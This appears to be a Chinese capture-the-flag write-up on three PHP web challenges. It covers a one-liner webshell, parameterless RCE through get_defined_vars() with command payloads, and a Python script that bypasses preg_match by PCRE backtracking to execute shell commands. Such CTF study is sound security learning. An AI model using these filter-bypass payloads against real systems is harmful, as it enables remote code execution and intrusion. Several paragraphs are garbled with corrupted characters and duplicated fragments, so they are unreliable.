[羊城杯 2020]easycon
考点:一句话,base64转图片
拿到题目先访问index.php却发现eval post cmd ,有点像一句话木马
接着用蚁剑连接
查看文件发现没有关于flag的文件,但是却有txt文件
打开文件里面都是base64编码
将base64编码转成图片就有
[UUCTF 2022 新生赛]ez_rce
代码审计:
首先,代码使用isset函数检查是否存在名为code的GET参数。如果该参数存在,则将其赋值给变量$code。
接下来,代码使用preg_match函数和正则表达式对����进行匹配。正则表达式用于检测code进行匹配。正则表达式用于检测code参数的内容是否包含一些关键字,如sys、pas、read、file等命令。如果����中不包含这些命令,则会输出"看看你输入的参数!!!不叫样子!!"并换行,然后执行����函数,将code中不包含这些命令,则会输出"看看你输入的参数!!!不叫样子!!"并换行,然后执行eval函数,将code的内容作为PHP代码进行解析和执行。
如果$code中包含了这些命令,则会输出"你想干什么?????????"并终止脚本的执行。
如果没有传递code参数,则会输出"居然都不输入参数,可恶!!!",并通过show_source函数显示当前文件的源代码。
使用get_defined_vars()函数进行rce
/?code=eval(end(pos(get_defined_vars())));&bre=echo `ls /`;
/?code=eval(end(pos(get_defined_vars())));&bre=echo `cat /fffffffffflagafag`;
参考:RCE篇之无参数rce | Arsene.Tang
[NISACTF 2022]middlerce
代码审计:
首先,代码通过include语句包含了一个名为"check.php"的文件。该文件在代码中未提供,因此无法了解其具体内容和功能。
接下来,代码使用isset函数检查是否存在名为letter的REQUEST参数。如果该参数存在,则将其赋值给变量$txw4ever。
然后,代码使用正则表达式对���4����进行匹配。正则表达式用于检测txw4ever进行匹配。正则表达式用于检测txw4ever参数的内容是否包含一些特殊字符,如字母、特殊符号等。如果$txw4ever中包含这些字符,则会输出"再加把油喔"并终止脚本的执行。
如果���4����中不包含特殊字符,则代码会通过����������函数解析txw4ever中不包含特殊字符,则代码会通过jsondecode函数解析txw4ever的内容,并将其作为关联数组存储在变量$command中。然后,代码调用了一个名为checkdata的函数,该函数在当前代码中未提供。
最后,代码使用eval函数执行$command变量的内容。eval函数将字符串作为PHP代码进行解析和执行。
如果没有传递letter参数,则通过highlight_file函数显示当前文件的源代码。
preg_match过滤了换行符和异或符号,所以考虑利用preg_match本身回身回溯超过1000000会返回false绕过。
构造脚本:
import requests
payload='{"cmd":"?><?= `tail /f*`?>","test":"' + "@"*(1000000) + '"}'
res = requests.post("http://node4.anna.nssctf.cn:28647/", data={"letter":payload})
print(res.text)
运行后,得到flag
参考文章:
笔记
php eval()函数
(PHP 4, PHP 5, PHP 7, PHP 8)
eval — 把字符串作为PHP代码执行
说明 eval(string $code)
把字符串 code 作为PHP代码执行。
函数eval()语言结构是非常危险的, 因为它允许执行任意 PHP 代码。 它这样用是很危险的。
如果您仔细的确认过,除了使用此结构以外 别无方法, 请多加注意,要允许传入任何由用户提供的、未经完整验证过的数据 。